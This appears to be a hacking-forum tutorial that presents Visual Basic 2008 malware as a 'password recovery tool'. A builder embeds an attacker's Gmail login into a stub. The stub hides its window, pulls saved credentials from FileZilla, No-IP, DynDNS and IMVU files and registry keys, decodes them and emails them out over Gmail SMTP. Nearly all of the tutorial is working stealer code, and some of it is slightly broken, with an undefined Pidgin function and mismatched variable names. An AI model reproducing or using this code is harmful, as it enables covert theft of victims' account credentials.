How to make a password recovery tool vb2008

[Usr6]

Open Visual Basic 2008:

Click File > Click then New Project > Choose Windows Application > Choose name > Click Ok

From the Toolbox drag:

* Button1 = Build

* TextBox1

* TextBox2

* Label1- Change text to: Gmail Username:

* Label2- Change text to: Gmail Password:

Now when you add all these, on top of code add:

Imports System.IO 

Now under Public Class Form1 add following code, that would be strings:

Dim stub, text1, text2 As String
    Const FileSplit = "@OriginalCoder/Cyberhackers.org@" 

Now lets move to source code part, double click Button1= Build Button and write:

text1 = TextBox1.Text
        text2 = TextBox2.Text
        FileOpen(1, Application.StartupPath & "\Stub.exe",

OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        If File.Exists("Server.exe") Then
            My.Computer.FileSystem.DeleteFile("Server.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Server.exe",

OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
        FileClose(1) 

Wow the Builder is done!

Now we need to make the stub!

Now you got your builder and now lets move to Stub.

* Run Visual Basic 2008

* In Tab click File > New Project

* Windows Application > "Stub" > Click Ok

From the Toolbox add:

* Textbox2 - Gmail Username

* Textbox3 - Gmail Password

Now when you add all these, on top of code add:

Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32 

Now under Public Class Form1 add following code, that would be strings:

Dim options(), text1, text2 As String
Dim filezillaPass as String = ShoitZilla()
Dim NoipPass as String = IpRecord()
Dim dyndnsPass as String = GoogleDns()
Dim imvuPass as String = DoToVu
Dim pidginPass as String = PidginRec()
Dim result As Integer
    Const FileSplit = "@OriginalCoder/Cyberhackers.org@" 

Now double click Form1 and write following code:

me.hide
me.visible = false
dim nl as string = vbnewline
Dim MailSetup As New MailMessage
        MailSetup.Subject = My.Computer.Name & ":"
        MailSetup.To.Add(TextBox2.Text)
        MailSetup.From = New MailAddress(TextBox2.Text)
        MailSetup.Body = filezilapass & nl & noippass & nl & dyndnspass & nl _
        & imvupass & nl & pidgin & nl & "Do not Share this Tutorial in Other Community's Please! If you want me to Keep posting Source Codes and Tutorials."
        Dim SMTP As New SmtpClient("smtp.gmail.com")
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
        SMTP.Send(MailSetup) 

And add All these Functions to the source code:

FileZilla:

Function ShoitZilla() As String
        On Error Resume Next
        Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
        Dim FileBuffer As String = vbNull
        Dim NL As String = vbNewLine
        FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
        Dim str As String
        Dim Output As String = Nothing
        Dim TempData() As String
        TempData = FileBuffer.Split(vbCrLf)
        FileBuffer = Nothing
        For Each str In TempData
            If str.Contains("</Host>") Then
                str.Replace("<Host>", "").Replace("</Host>", "")
                Output = Output & "Host : " & str & NL
            End If
            If str.Contains("</User>") Then
                str.Replace("<User>", "").Replace("</User>", "")
                Output = Output & "Username : " & str & NL
            End If
            If str.Contains("</Pass>") Then
                str.Replace("<Pass>", "").Replace("</Pass>", "")
                Output = Output & "Password : " & str & NL & NL
            End If
        Next
        Output = Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "")
        ShoitZilla = Output
    End Function 

No-Ip

Public Function base64Decode(ByVal data As String) As String
        Try
            Dim encoder As New System.Text.UTF8Encoding()
            Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
            Dim todecode_byte As Byte() = Convert.FromBase64String(Data)
            Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
            Dim decoded_char As Char() = New Char(charCount - 1) {}
            utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
            Dim result As String = New [String](decoded_char)
            Return result
        Catch e As Exception
            Throw New Exception("Error in base64Decode" & e.Message)
        End Try
    End Function
Function IpRecord() As String
        IpRecord = Nothing
        Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
        Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
        Dim NL As String = vbNewLine
        IpRecord = "Username : " & Username & vbNewLine & "Password : " & base64Decode(Password) & vbNewLine
    End Function 

DynDNS:

Public Function GoogleDns() As String
        On Error Resume Next
        GoogleDns = Nothing

        Dim sAppData As String
        Dim sPath As String
        Dim sLine As String
        Dim sUser As String = Nothing
        Dim sPassword As String = Nothing
        Dim i As Integer
        Dim sChars As String = Nothing
        Dim lPtr As Integer

        sAppData = Environ("ALLUSERSPROFILE")

        If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"

        sPath = sAppData & "DynDNS\Updater\config.dyndns"

        'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"'
        If Dir(sPath) <> "" Then
            FileOpen(1, sPath, OpenMode.Binary)
            Do While Not EOF(1)
                sLine = vbNullString
                sLine = LineInput(1)
                If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
                If Left(sLine, 9) = "Password=" Then
                    sPassword = Mid(sLine, 10)
                    'We have what we want, now exit do
                    Exit Do
                End If
            Loop
            FileClose(1)

            For i = 1 To Len(sPassword) Step 2
                sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2)))
            Next i

            For i = 1 To Len(sChars)
                Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
                lPtr = ((lPtr + 1) Mod 8)
            Next i

            GoogleDns = "Username : " & sUser & vbNewLine & "Password : " & sChars & vbNewLine
        End If
    End Function 

IMVU:

Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
        On Error GoTo Error_Renamed ' // If Error dont Display Error
        Dim X As Object ' //
        X = CreateObject("WScript.shell") ' // Create REG Object
        ReadKey = X.regread(hKey) ' // Read The Key
        Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
    End Function
Public Function Hex2Ascii(ByVal Text As String) As String
        Dim Value As Object
        Dim num As Object
        Dim i As Object ' // Simple Function for Pass Hex to Ascii
        Value = Nothing
        For i = 1 To Len(Text) ' Len of Encripted Text
            num = Mid(Text, i, 2) ' // Go Chr by Chr
            Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
            i = i + 1 ' // +1
        Next i ' Next Chr

        Hex2Ascii = Value ' //
    End Function
Public Function DoToVu() As String
        Dim sUser, sPass As String ' // Some Variables
        sUser = "HKEY_CURRENT_USER\Software\IMVU\username\" ' // Username REG Path
        sPass = "HKEY_CURRENT_USER\Software\IMVU\password\" ' // Password REG Path
        DoToVu = "IMVU : " & vbNewLine & "Username : " & ReadKey(sUser) & vbNewLine & "Password : " & Hex2Ascii(ReadKey(sPass))

        Exit Function 

Stub Done...

credits: whitey187 @HH